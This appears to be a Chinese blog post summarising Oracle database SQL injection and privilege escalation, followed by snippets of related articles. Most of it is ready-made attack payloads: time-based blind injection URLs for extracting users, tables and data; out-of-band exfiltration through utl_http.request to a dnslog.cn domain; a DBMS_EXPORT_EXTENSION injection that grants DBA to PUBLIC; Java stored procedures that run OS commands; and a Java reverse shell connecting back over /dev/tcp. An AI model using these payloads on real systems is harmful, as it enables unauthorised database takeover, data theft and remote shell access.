<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    數據庫注入提權總結

    VSole2022-08-10 15:52:54

    時間盲注

    dbms_pipe.receive_message ()

    DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制。

    首先,不能直接將該函數注入子查詢中,因為 Oracle 不支持堆疊查詢 (stacked query)。其次,只有數據庫管理員才能使用 DBMS_LOCK 包。

    在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:

    dbms_pipe.receive_message('RDS', 10)

    DBMS_PIPE.RECEIVE_MESSAGE() 函數將為從 RDS 管道返回的數據等待 10 秒。默認情況下,允許以 public 權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在 SQL 語句中的函數。

    # 查看是否可以使用 dbms_pipe.receive_message () 函數進行延時注入

    ?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+

    # 猜解當前用戶

    ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
    

    # 猜解表名

    ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
    

    # 猜解字段

    ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
    

    # 猜解數據

    ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
    

    decode ()

    原理:結合耗費時間的查詢語句,不過在使用的過程中有很多不盡如人意的地方,有時候加載快有時加載慢。

    ?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+
    

    decode () 與 dbms_pipe.receive_message () 嵌套時間盲注

    ?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+
    

    DNS外帶注入

    Oracle 注入之帶外通信和 DNSLOG 注入非常相似,例如和 mysql 中 load_file () 函數實現無回顯注入非常相似。

    Oracle 發送 HTTP 和 DNS 請求,并將查詢結果帶到請求中,然后檢測外網服務器的 HTTP 和 DNS 日志,從日志中獲取查詢結果,通過這種方式將繁瑣的盲注轉換成可以直接獲取查詢結果的方式。

    使用第三方平臺,監聽訪問請求,并記錄請求的日志信息,然后使用 utl_http.request() 向外網主機發送 http 請求,請求便攜帶了查詢的結果信息。此處可以結合 SSRF 進行內網探測。或許這就是 Oracle 的 SSRF。

    利用 utl.inaddr.get_host_address(),將查詢結果拼接到域名下,并使用 DNS 記錄解析日志,通過這種方式獲取查詢結果。

    # 檢測是否支持 utl_http.request

    ?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+
    

    # 獲取用戶名

    ?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
    

    # 獲取表名

    ?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
    

    # 獲取列名

    ?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
    

    # 獲取數據

    ?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
    

    利用漏洞提權命令執行

    dbms_export_extension()

    ?影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

    ?權限:None

    ?詳情:這個軟件包有許多易受 PL/SQL 注入攻擊的函數。這些函數由 SYS 擁有,作為 SYS 執行并且可由 PUBLIC 執行。因此,如果 SQL 注入處于上述任何未修補的 Oracle 數據庫版本中,那么攻擊者可以調用該函數并直接執行 SYS 查詢。

    提升權限

    該請求將導致查詢 "GRANT DBA TO PUBLIC" 以 SYS 身份執行。因為這個函數允許 PL / SQL 缺陷(PL / SQL 注入)。一旦這個請求成功執行,PUBLIC 獲取 DBA 角色,從而提升當前 user 的特權

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
    

    使用Java執行

    # 創建java

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 賦予Java權限

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 創建函數

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 賦予函數執行權限

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 執行系統命令

    select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

    dbms_xmlquery.newcontext()

    ?影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

    ?必須在 DBMS_PORT_EXTENSION 存在漏洞情況下,否則賦予權限時無法成功

    # 創建java庫

    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
    

    # 賦予當前用戶Java權限

    select user from dualselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;
    

    # 查看 all_objects 內部改變

    select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
    

    # 創建函數

    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
    

    # 判斷是否創建成功

    select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

    # 執行命令

    select LinxRunCMD('id') from dual

    # 刪除函數

    drop function LinxRunCMD

    dbms_java_test.funcall()

    ?影響版本:10g R2, 11g R1, 11g R2

    ?權限:Java Permissions

    Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;

    執行會有一定報錯,但是不影響命令執行

    Java反彈shell

    # linux系統payload

    import java.io.*;import java.net.*;public class shellRev{        public static void main(String[] args){                System.out.println(1);                try{run();}                catch(Exception e){}        }public static void run() throws Exception{                String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};                Process p=Runtime.getRuntime().exec(aaa);    }}
    

    #編譯

    javac shellRev.java

    #執行

    java shellRev

    # 創建 Java 庫

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 賦予Java權限

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 創建函數

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 賦予函數執行權限

    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
    

    # 反彈shell

    select sys.reversetcp from dual

    本文完結

    stringoracle函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在重要的生產網中,目標服務器無法外聯,而遇到Apache Flink情況下如何寫內存馬,本文對這一有趣實踐過程做了一個記錄。但很可惜,筆者找了一圈,沒有發現相關的靜態變量,無法獲取到該路由對象。本文主要圍繞如何使用該方法實現 flink 內充馬進行講述。的限制,我們的 agent 需要先落地到系統中,而執行 loadAgent 這一操作的程序我們被稱為 starter。
    遺憾的是,國外白帽不同意 Oracle 對這個漏洞的分類“難以利用的漏洞……”因此本文將說明為什么這個 CVE 應該被指定為 10.0 而不是 7.2 的評級,盡管 Oracle 聲稱,此漏洞不需要任何身份驗證即可利用。該軟件的最新版本可在 Oracle 的下載中心輕松獲得,在以普通用戶身份進行身份驗證后即可訪問,獲得安裝文件不需要許可證或銷售電話。
    Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
    Oracle數據庫的基本知識Oracle數據庫介紹Oracle Database,又名Oracle RDBMS,或簡稱Oracle
    數據庫注入提權總結
    2022-08-10 15:52:54
    首先,不能直接將該函數注入子查詢中,因為 Oracle 不支持堆疊查詢 。其次,只有數據庫管理員才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函數將為從 RDS 管道返回的數據等待 10 秒。
    一款用Go語言編寫的數據庫自動化提權工具,支持Mysql、MSSQL、Postgresql、Oracle、Redis數據庫提權、命令執行、爆破以及ssh連接等等功能。
    無意中看到ch1ng師傅的文章覺得很有趣,不得不感嘆師傅太厲害了,但我一看那長篇的函數總覺得會有更騷的東西,所幸還真的有,借此機會就發出來一探究竟,同時也不得不感慨下RFC文檔的妙處,當然本文針對的技術也僅僅只是在流量層面上waf的繞過。Pre很神奇對吧,當然這不是終點,接下來我們就來一探究竟。前置這里簡單說一下師傅的思路部署與處理上傳war的servlet是?
    1 背之前講過“不推薦使用屬性拷貝工具”,薦直接定義轉換類和方法使用 IDEA 插件自動填充 get / set 函數。接下來我們看 Spring 的 BeanUtils 的屬性拷貝會存在啥問題:import?大家運行上述示例時,會發生類型轉換異常。打斷點可以看到,屬性拷貝之后 B 類型的 second 對象中 ids 仍然為 Integer 類型:如果不轉換為字符串,直接進行打印,并不會報錯。使用CGlib 在不定義Converter 的情況下也會遇到類似問題:import?可以成功的將 A 中 List 轉為 B 中的 List 類型。
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类